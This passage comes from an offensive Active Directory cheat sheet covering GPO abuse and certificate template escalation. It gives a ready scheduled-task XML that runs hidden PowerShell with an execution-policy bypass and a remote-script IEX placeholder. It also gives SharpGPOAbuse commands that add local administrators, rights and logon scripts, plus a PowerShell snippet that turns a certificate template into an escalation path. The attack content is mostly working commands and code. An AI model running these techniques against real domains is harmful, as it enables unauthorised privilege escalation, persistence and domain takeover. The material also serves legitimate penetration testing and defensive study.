Or using the following template, in the ScheduledTasks file, that will create an immediate task running, under the identity of any account on which the GPO is applied, the specified PowerShell script <INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>, with three retries, one every minute.

The user immediate task GPO file paths is:

  • \\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\USER\Preferences\ScheduledTasks

# Update <DOMAIN> and <INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="TEST" image="0" changed="2019-12-15 13:23:18" uid="{2EC4BE03-2A6A-4C50-A0E6-7FBEA834E265}"><Properties action="C" name="TEST" runAs="%LogonDomain%\%LogonUser%" logonType="InteractiveToken"><Task version="1.3"><RegistrationInfo><Author><DOMAIN>\Administrator</Author><Description></Description></RegistrationInfo><Principals><Principal id="Author"><UserId>%LogonDomain%\%LogonUser%</UserId><LogonType>InteractiveToken</LogonType><RunLevel>HighestAvailable</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT5M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>false</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>false</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter></Settings><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Command><Arguments>-nop -Win Hidden -exec bypass -c "<INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>"</Arguments></Arguments></Exec>
				</Actions></Task></Properties></ImmediateTaskV2>
</ScheduledTasks>

The following GUID must be added in the gPCUserExtensionNames attribute in order to make the immediate task effective:

[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]

SharpGPOAbuse

SharpGPOAbuse is a C# tool that can be used to automate the process of exploiting an editable GPO. The utility supports the following exploitation techniques:

  • add the specified rights to a domain user

  • add a domain user to the local Administrators group of the computer

  • add a new computer start up script

  • add a new user logon script

  • add a computer or user immediate task

# SharpGPOAbuse can be run on an out of the domain computer through a runas session
runas /NetOnly /user:<DOMAIN>\<USERNAME> powershell.exe
SharpGPOAbuse.exe --DomainController <DC_IP> --Domain <DOMAIN>

# Add the specified rights to an user
# The privileges are specified in a case sensitive comma separated list
# The \\<DOMAIN>\SYSVOL\<DOMAIN_FQDN>\Policies\<GPO_GUID>\MACHINE\Microsoft\Windows
NT\SecEdit\GptTmpl.inf file should includes the specified privileges with the given account SID
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeDebugPrivilege,SeAuditPrivilege,SeRemoteInteractiveLogonRight" --UserAccount "<DOMAIN>\<USERNAME>" --GPOName "<GPO_NAME>"

# Add a domain user to the local Administrators group of the computer
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "<DOMAIN>\<USERNAME>" --GPOName "<GPO_NAME>"

# Add a new computer start up or user logon script
# Refer to the "General - Shells" note for starting a reverse PowerShell
SharpGPOAbuse.exe <--AddUserScript | --AddComputerScript> --ScriptName "<SCRIPT_NAME>" --ScriptContents "<SCRIPT>" --GPOName "<GPO_NAME>"
SharpGPOAbuse.exe <--AddUserScript | --AddComputerScript> --ScriptName "GPO_script.ps1" --ScriptContents "powershell.exe -nop -w hidden -c \"<INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>\"" --GPOName "<GPO_NAME>"

# Add a new computer or user immediate task
# For some reason starting the --Arguments with "-nop" make SharpGPOAbuse raise an "Unknown argument error"
SharpGPOAbuse.exe <--AddUserTask | --AddComputerTask> --TaskName "<TASKNAME>" --Author "<DOMAIN>\Admininistrator" --Command "cmd.exe | BINARY_PATH>" --Arguments "<ARGUMENTS | /c powershell.exe -nop -w hidden -c \"<INLINE-POWERSHELL | IEX_REMOTE_SCRIPT>\">" --GPOName "<GPO_NAME>"

Active Directory Certificate Services

Exploitable access control on certificate templates

The access rights defined on a certificate template govern the operations that can be conducted on the template itself as well as the principals that can enroll to the template (request certificate(s) based on the specific certificate template). These access rights are enforced by the Certificate Authority (CA).

PrivilegeDescription

ExtendedRight (RIGHT_DS_CONTROL_ACCESS)'s Certificate-Enrollment. Rights-GUID: 0e10c968-78fb-11d2-90d4-00c04f79dc55.

Ability to enroll to the certificate template (manually request certificate(s) based on the template). The certificate template must also be published in a Certificate Authority for which the user can enroll certificates.

ExtendedRight (RIGHT_DS_CONTROL_ACCESS)'s Certificate-AutoEnrollment. Rights-GUID: 0e10c968-78fb-11d2-90d4-00c04f79dc55.

AllExtendedRights (RIGHT_DS_CONTROL_ACCESS). ActiveDirectoryRights: ExtendedRight and Rights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000.

All extended rights, including the Certificate-Enrollment and Certificate-AutoEnrollment rights.

WriteProperty (RIGHT_DS_WRITE_PROPERTY) to msPKI-Certificate-Name-Flag. Rights-GUID: ea1dddc4-60ff-416e-8cc0-17cee534bce7.

Ability to write the msPKI-Certificate-Name-Flag attribute of the certificate template, allowing to set the template to build the subject information from user-supplied input (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag). Can be leveraged for privilege escalation if the certificate template can be used for client authentication and oneself can enroll to it.

WriteProperty (RIGHT_DS_WRITE_PROPERTY) to msPKI-Certificate-Application-Policy. Rights-GUID: dbd90548-aa37-4202-9966-8c537ba5ce32.

Ability to write the msPKI-Certificate-Application-Policy attribute of the certificate template, thus allowing to add support for client authentication in the template.

WriteProperty (RIGHT_DS_WRITE_PROPERTY) to msPKI-Enrollment-Flag. Rights-GUID: d15ef7d8-f226-46db-ae79-b34e560bd12c.

Ability to write the msPKI-Enrollment-Flag attribute of the certificate template, thus allowing to disable the need for approval of a CA manager certificate to validate the certificate request (CT_FLAG_PEND_ALL_REQUESTS flag).

WriteProperty (RIGHT_DS_WRITE_PROPERTY) to all properties. Rights-GUID undefined (if retrieved using PowerView) or equal to 00000000-0000-0000-0000-000000000000.

Ability to modify all the attributes of the certificate template, including the ones mentioned above. Cannot be used to give oneself enrollment right to the certificate template (as enrollment is restricted through the ACL on the template object and not the attributes of the template). If the WriteProperty applies to an enrollable certificate template, privilege escalation can however be achieved.

WriteOwner.

Ability to change the owner of the certificate template, thus granting complete control over the template and notably the ability to edit it and give oneself enrollment rights. This right is assigned when delegating the permission Write through the Certificate Templates snap-in.

WriteDacl.

Ability to change the DACL of the certificate template, thus granting complete control over the template and notably the ability to edit it and give oneself enrollment rights. This right is assigned when delegating the permission Write through the Certificate Templates snap-in.

GenericAll (RIGHT_GENERIC_ALL).

Full control on the certificate template, including the ability to modify all the parameters / attributes of the template and enroll to the template.

Certificate templates - ACL enumeration

Certify and the PowerShell Get-Acl cmdlet (if the Remote Server Administration Tools (RSAT) are installed) can be used to enumerate the ACL of the certificate templates. Certify presents the advantage of retrieving additional information on the certificate templates: validity period, msPKI-Certificates-Name-Flag attribute, Extended / Enhanced Key Usage (EKU) extension, etc.

# Enumerates the certificate templates exploitable under the current user security context.
Certify.exe find [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>] /vulnerable /currentuser

# Enumerates the certificate templates exploitable by default low-privileged groups (Domain Users, Domain Computers, Everyone, etc.).
Certify.exe find [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>] /vulnerable

# Enumerates all rights of all certificate templates.
Certify.exe find [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>] /showAllPermissions [/json /outfile:<OUTPUT_FILE>]

Refer to the Enumeration of DACL section above for cmdlets and code snippets to conduct ACL enumeration trough PowerShell.

Certificate templates - Certificate-Enrollment / Certificate-AutoEnrollment

Refer to the [ActiveDirectory] Certificate Services for more information on how to enumerate and request certificates from enrollable certificate templates.

Certificate templates - WriteOwner / WriteDACL

Refer to the User / group - WriteOwner and User / group - WriteDACL sections above for general techniques and tools to exploit the WriteOwner and WriteDACL rights.

The modifications of the ACL can also be done through the Microsoft Management Console (MMC)'s ADSI Edit (adsiedit.msc) snap-in (among others):

mmc.exe -> Add/Remove Snap-in (Ctrl + M) -> Selection of "ADSI Edit"
  -> Connect to... -> Select a well known Naming Context: Configuration -> Ok.
  -> Configuration [<DOMAIN>] -> Go to `CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,<DOMAIN_ROOT>`.
     -> Right click on the editable `certificate template` -> Properties -> Security tab to edit the access control rights.

Certificate templates - GenericAll / WriteProperty to all properties / WriteProperty to msPKI-Certificate-Name-Flag + msPKI-Certificate-Application-Policy (+ msPKI-Enrollment-Flag)

The following PowerShell code snippet leverage cmdlets of the ActiveDirectory module to make an editable certificate template vulnerable for privilege escalation purposes. The certificate template is modified to use an user-supplied Subject Name and allow for client authentication. The eventual approval of the request by a certificate manager can be optionally disabled.

$certificateDN = "<CERTIFICATE_TEMPLATE_DN>"
$certificateAttr = Get-AdObject $certificateDN -Properties msPKI-Enrollment-Flag,msPKI-Certificate-Application-Policy
$newAttr = @{}

# Sets the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT in the msPKI-Certificate-Name-Flag attribute so that the subject information is user-supplied.
$newAttr['msPKI-Certificate-Name-Flag'] = '1'

# Adds the clientAuth Enhanced Key Usage to the msPKI-Certificate-Application-Policy attribute so the issued certificate can be used for client authentication.
$certificateAttrAppPolicy = $certificateAttr."msPKI-Certificate-Application-Policy"
If (!$certificateAttrAppPolicy.Contains('1.3.6.1.5.5.7.3.2')) {
  $newAttr['msPKI-Certificate-Application-Policy'] = $certificateAttrAppPolicy.Add('1.3.6.1.5.5.7.3.2')
}

# If necessary, disables the CT_FLAG_PEND_ALL_REQUESTS flag (CA manager certificate request approval) in the msPKI-Enrollment-Flag attribute.
$newAttr['msPKI-Enrollment-Flag'] = $certificateAttr."msPKI-Enrollment-Flag" -band -bnot 2

# Set the new attributes on the certificate template.
Set-AdObject $certificateDN -Replace $newAttr

The modifications done by the code above can also be done manually through the Microsoft Management Console (MMC)'s Certificate Templates (certtmpl.msc) snap-in (on a machine joined to the target domain):

mmc.exe -> Add/Remove Snap-in (Ctrl + M) -> Selection of "Certificate Templates"
  -> Right click on the editable `certificate template` -> Properties
     -> Subject Name tab -> Check "Supply in the request"
     -> Extensions tab -> Edit "Application Policies" -> Add "Client Authentication"
     -> Issuance Requirements tab -> Uncheck "CA certificate manager approval"

References

https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists

https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf

https://wald0.com/?p=112

https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/

https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces

https://www.ssi.gouv.fr/uploads/IMG/pdf/Audit_des_permissions_en_environnement_Active_Directory_article.pdf

https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf

https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

https://github.com/gdedrouas/Exchange-AD-Privesc

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

https://www.microsoft.com/en-us/download/details.aspx?id=46899

https://blog.stealthbits.com/running-laps-in-the-race-to-security/

https://github.com/leoloobeek/LAPSToolkit

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

https://www.rfc-archive.org/getrfc.php?rfc=4556

https://web.mit.edu/kerberos/krb5-1.12/doc/admin/pkinit.html

https://docs.microsoft.com/fr-fr/archive/blogs/openspecification/how-kerberos-user-to-user-authentication-works

Last updated